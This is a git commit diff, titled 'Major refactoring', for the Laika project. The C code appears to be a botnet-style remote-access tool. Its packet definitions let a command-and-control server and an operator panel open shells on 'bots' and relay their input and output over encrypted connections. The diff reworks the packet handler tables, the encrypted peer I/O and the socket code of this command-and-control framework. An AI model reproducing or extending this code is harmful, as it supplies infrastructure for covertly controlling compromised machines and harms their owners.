mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 15:20:07 +00:00
Major refactoring
lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough.
This commit is contained in:
@@ -33,7 +33,6 @@
|
||||
#else
|
||||
#define LAIKA_ERROR(...) do { \
|
||||
printf("[ERROR] : " __VA_ARGS__); \
|
||||
getchar(); \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
|
@@ -41,7 +41,7 @@ enum {
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
||||
/* layout of LAIKAPKT_HANDSHAKE_REQ:
|
||||
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
@@ -55,15 +55,14 @@ enum {
|
||||
*/
|
||||
LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */
|
||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||
* uint8_t shellID;
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */
|
||||
/* layout of LAIKAPKT_SHELL_CLOSE:
|
||||
* uint8_t shellID;
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint8_t shellID;
|
||||
* char buf[VAR_PACKET_LENGTH];
|
||||
*/
|
||||
/* ==================================================[[ Auth ]]================================================== */
|
||||
@@ -83,18 +82,18 @@ enum {
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_OPEN_SHELL_REQ, /* panel requesting cnc open a shell on bot */
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_OPEN_SHELL_RES, /* panel requesting cnc open a shell on bot */
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t shellID; -- shell id of shell opened on bot
|
||||
* uint16_t shellID; -- shell id of shell opened on bot
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint8_t shellID;
|
||||
* uint16_t shellID;
|
||||
* char buf[VAR_PACKET_LENGTH];
|
||||
*/
|
||||
LAIKAPKT_MAXNONE
|
||||
|
@@ -11,20 +11,28 @@ typedef enum {
|
||||
PEER_UNVERIFIED,
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_PANEL /* authorized peers can send commands to cnc */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
} PEERTYPE;
|
||||
|
||||
struct sLaika_peer;
|
||||
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
struct sLaika_peerPacketInfo {
|
||||
PeerPktHandler handler;
|
||||
LAIKAPKT_SIZE size;
|
||||
bool variadic;
|
||||
};
|
||||
|
||||
|
||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .handler = HANDLER}
|
||||
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
|
||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||
PeerPktHandler *handlers;
|
||||
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
|
||||
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
@@ -35,10 +43,11 @@ struct sLaika_peer {
|
||||
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, void *uData);
|
||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||
|
||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||
int laikaS_endOutPacket(struct sLaika_peer *peer);
|
||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||
|
@@ -8,8 +8,6 @@
|
||||
/* number of pollFDs or epollFDs we expect to start with */
|
||||
#define POLLSTARTCAP 8
|
||||
|
||||
typedef bool (*tLaika_pollIter)(struct sLaika_socket *sock, void *uData);
|
||||
|
||||
struct sLaika_pollEvent {
|
||||
struct sLaika_socket *sock;
|
||||
bool pollIn;
|
||||
@@ -44,7 +42,6 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
|
||||
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData);
|
||||
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer);
|
||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList);
|
||||
|
||||
|
@@ -2,12 +2,11 @@
|
||||
#include "lmem.h"
|
||||
#include "lpeer.h"
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, void *uData) {
|
||||
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
||||
|
||||
laikaS_initSocket(&peer->sock);
|
||||
peer->handlers = handlers;
|
||||
peer->pktSizeTable = pktSizeTable;
|
||||
peer->packetTbl = pktTbl;
|
||||
peer->pList = pList;
|
||||
peer->uData = uData;
|
||||
peer->pktSize = 0;
|
||||
@@ -28,12 +27,21 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
|
||||
laikaM_free(peer);
|
||||
}
|
||||
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
/* add to pollList's out queue */
|
||||
laikaP_pushOutQueue(peer->pList, peer);
|
||||
}
|
||||
|
||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->outStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n")
|
||||
}
|
||||
if (peer->outStart != -1) /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n");
|
||||
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
peer->outStart = sock->outCount;
|
||||
@@ -58,7 +66,7 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
/* encrypt packet body in-place */
|
||||
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n")
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n");
|
||||
}
|
||||
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
@@ -67,6 +75,7 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
/* add to pollList's out queue */
|
||||
laikaP_pushOutQueue(peer->pList, peer);
|
||||
|
||||
/* return packet size and prepare for next outPacket */
|
||||
sz = sock->outCount - peer->outStart;
|
||||
peer->outStart = -1;
|
||||
return sz;
|
||||
@@ -75,9 +84,8 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->outStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n")
|
||||
}
|
||||
if (peer->outStart != -1) /* sanity check */
|
||||
LAIKA_ERROR("unended OUT packet!\n");
|
||||
|
||||
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
|
||||
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
|
||||
@@ -97,12 +105,11 @@ int laikaS_endVarPacket(struct sLaika_peer *peer) {
|
||||
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
|
||||
if (peer->inStart != -1) { /* sanity check */
|
||||
LAIKA_ERROR("unended IN packet!\n")
|
||||
}
|
||||
if (peer->inStart != -1) /* sanity check */
|
||||
LAIKA_ERROR("unended IN packet!\n");
|
||||
|
||||
/* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */
|
||||
if (peer->useSecure && !variadic)
|
||||
if (peer->useSecure && !variadic && peer->pktSize != 0)
|
||||
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
|
||||
peer->inStart = sock->inCount;
|
||||
@@ -113,13 +120,13 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
|
||||
uint8_t *body;
|
||||
size_t sz = sock->inCount - peer->inStart;
|
||||
|
||||
if (peer->useSecure) {
|
||||
if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) {
|
||||
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
|
||||
|
||||
/* decrypt packet body in-place */
|
||||
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n")
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n");
|
||||
}
|
||||
|
||||
/* decrypted message is smaller now */
|
||||
@@ -149,47 +156,52 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* read packet ID & mark start of packet */
|
||||
/* read packet ID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
||||
for itself, so skip all of this */
|
||||
if (peer->pktID == LAIKAPKT_VARPKT)
|
||||
break;
|
||||
goto _HandlePacketVariadic;
|
||||
|
||||
/* sanity check pktID, pktSize && pktID's handler */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || (peer->pktSize = peer->pktSizeTable[peer->pktID]) == 0 || peer->handlers[peer->pktID] == NULL)
|
||||
LAIKA_ERROR("peer %lx doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic)
|
||||
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
|
||||
peer->pktSize = peer->packetTbl[peer->pktID].size;
|
||||
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer, false);
|
||||
break;
|
||||
goto _HandlePacketBody;
|
||||
case LAIKAPKT_VARPKT:
|
||||
_HandlePacketVariadic:
|
||||
/* try grabbing pktID & size */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */
|
||||
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n")
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
||||
|
||||
/* read packet size */
|
||||
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
|
||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
LAIKA_ERROR("variable packet too large!\n")
|
||||
LAIKA_ERROR("variable packet too large!\n");
|
||||
|
||||
/* read pktID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* sanity check pktID, check valid range, check it's variadic (marked by a size of 0 & a defined packet handler) */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->pktSizeTable[peer->pktID] != 0 || peer->handlers[peer->pktID] == NULL)
|
||||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID)
|
||||
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic)
|
||||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
|
||||
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer, true);
|
||||
break;
|
||||
goto _HandlePacketBody;
|
||||
default:
|
||||
_HandlePacketBody:
|
||||
/* try grabbing the rest of the packet */
|
||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
@@ -199,7 +211,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
||||
peer->pktSize = laikaS_endInPacket(peer);
|
||||
|
||||
/* dispatch to packet handler */
|
||||
peer->handlers[peer->pktID](peer, peer->pktSize, peer->uData);
|
||||
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
|
||||
|
||||
/* reset */
|
||||
peer->sock.inCount = 0;
|
||||
|
@@ -220,27 +220,4 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
|
||||
/* return revents array */
|
||||
return pList->revents;
|
||||
}
|
||||
|
||||
struct sWrapperData {
|
||||
tLaika_pollIter iter;
|
||||
void *uData;
|
||||
};
|
||||
|
||||
/* wrapper iterator */
|
||||
bool iterWrapper(const void *rawItem, void *uData) {
|
||||
struct sWrapperData *data = (struct sWrapperData*)uData;
|
||||
tLaika_hashMapElem *item = (tLaika_hashMapElem*)rawItem;
|
||||
return data->iter(item->sock, data->uData);
|
||||
}
|
||||
|
||||
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData) {
|
||||
struct sWrapperData wrapper;
|
||||
wrapper.iter = iter;
|
||||
wrapper.uData = uData;
|
||||
|
||||
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
|
||||
itemWrapper so that it can call it. probably a better way to do this
|
||||
but w/e lol */
|
||||
hashmap_scan(pList->sockets, iterWrapper, &wrapper);
|
||||
}
|
@@ -26,7 +26,7 @@ void laikaS_init(void) {
|
||||
WSADATA wsaData;
|
||||
|
||||
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
|
||||
LAIKA_ERROR("WSAStartup failed!\n")
|
||||
LAIKA_ERROR("WSAStartup failed!\n");
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -118,7 +118,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||
struct sockaddr_in address;
|
||||
|
||||
if (!SOCKETINVALID(sock->sock))
|
||||
LAIKA_ERROR("socket already setup!\n")
|
||||
LAIKA_ERROR("socket already setup!\n");
|
||||
|
||||
/* open our socket */
|
||||
sock->sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||
@@ -154,7 +154,7 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) {
|
||||
|
||||
sock->sock = accept(from->sock, &address, &addressSize);
|
||||
if (SOCKETINVALID(sock->sock))
|
||||
LAIKA_ERROR("accept() failed!\n")
|
||||
LAIKA_ERROR("accept() failed!\n");
|
||||
}
|
||||
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
||||
@@ -266,6 +266,10 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
RAWSOCKCODE errCode = RAWSOCK_OK;
|
||||
int rcvd, start = sock->inCount;
|
||||
|
||||
/* sanity check */
|
||||
if (sz == 0)
|
||||
return RAWSOCK_OK;
|
||||
|
||||
/* make sure we have enough space to recv */
|
||||
laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
|
||||
rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
|
||||
|
Reference in New Issue
Block a user